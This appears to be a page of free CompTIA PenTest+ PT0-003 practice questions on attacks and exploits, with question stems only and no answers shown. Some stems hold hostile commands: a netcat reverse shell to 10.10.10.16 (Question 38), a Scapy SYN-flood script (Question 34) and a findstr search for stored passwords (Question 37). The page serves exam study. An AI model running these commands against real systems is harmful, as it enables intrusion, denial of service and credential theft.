CompTIA PenTest+

Free PT0-003 practice test Page 4

Topic: Attacks and Exploits

Free PT0 003 practice questions on Attacks and Exploits, each with the answer and an explanation. No sign-up needed.

  • 361Answers explainedWhy each answer is right
  • Real exam styleScenario-based questions
  • 5Study by topicFocus on your weak areas
  • Updated23-Nov-2026
Topic · 44 of 148 questions freeAttacks and Exploits
Question 31 Choose 1
A penetration tester would like to leverage a CSRF vulnerability to gather sensitive details from an application's end users. Which of the following tools should the tester use for this task?
Question 32 Choose 1
Which of the following protocols would a penetration tester most likely utilize to exfiltrate data covertly and evade detection?
Question 33 Choose 1
While conducting a reconnaissance activity, a penetration tester extracts the following information:

Emails: - admin@acme.com - sales@acme.com - support@acme.com

Which of the following risks should the tester use to leverage an attack as the next step in the security assessment?
Question 34 Choose 1
A penetration tester is authorized to perform a DoS attack against a host on a network. Given the following input:

ip = IP("192.168.50.2")
tcp = TCP(sport=RandShort(), dport=80, flags="S")
raw = RAW(b"X"*1024)
p = ip/tcp/raw
send(p, loop=1, verbose=0)

Which of the following attack types is most likely being used in the test?
Question 35 Choose 1
A penetration tester established an initial compromise on a host. The tester wants to pivot to other targets and set up an appropriate relay. The tester needs to enumerate through the compromised host as a relay from the tester's machine. Which of the following commands should the tester use to do this task from the tester's host?
Question 36 Choose 1
During a security assessment for an internal corporate network, a penetration tester wants to gain unauthorized access to internal resources by executing an attack that uses software to disguise itself as legitimate software. Which of the following host-based attacks should the tester use?
Question 37 Choose 1
During an assessment, a penetration tester obtains a low-privilege shell and then runs the following command:

findstr /SIM /C:"pass" *.txt *.cfg *.xml

Which of the following is the penetration tester trying to enumerate?
Question 38 Choose 1
A penetration tester is trying to bypass a command injection blocklist to exploit a remote code execution vulnerability. The tester uses the following command:

nc -e /bin/sh 10.10.10.16 4444

Which of the following would most likely bypass the filtered space character?
Question 39 Choose 1
As part of a security audit, a penetration tester finds an internal application that accepts unexpected user inputs, leading to the execution of arbitrary commands. Which of the following techniques would the penetration tester most likely use to access the sensitive data?
Question 40 Choose 1
A penetration tester attempts to run an automated web application scanner against a target URL.
The tester validates that the web page is accessible from a different device. The tester analyzes the following HTTP request header logging output:

200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
No response; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: curl
200; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
No response; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: python

Which of the following actions should the tester take to get the scans to work properly?

Practice Like It's Exam Day

Get exam-ready with a timed PT0 003 CompTIA PenTest+ mock exam designed to match the official exam's question format, question count, and time limit.

Take CompTIA PenTest+ Mock Exam
  • Build Exam Endurance Stay focused and perform confidently under exam conditions.
  • Improve Time Management Practice pacing yourself to finish within the time limit.
  • Fresh Questions Every Attempt Experience randomized questions from our extensive question bank.
  • Unlimited Practice Attempts Retake mock exams and improve your score at your own pace.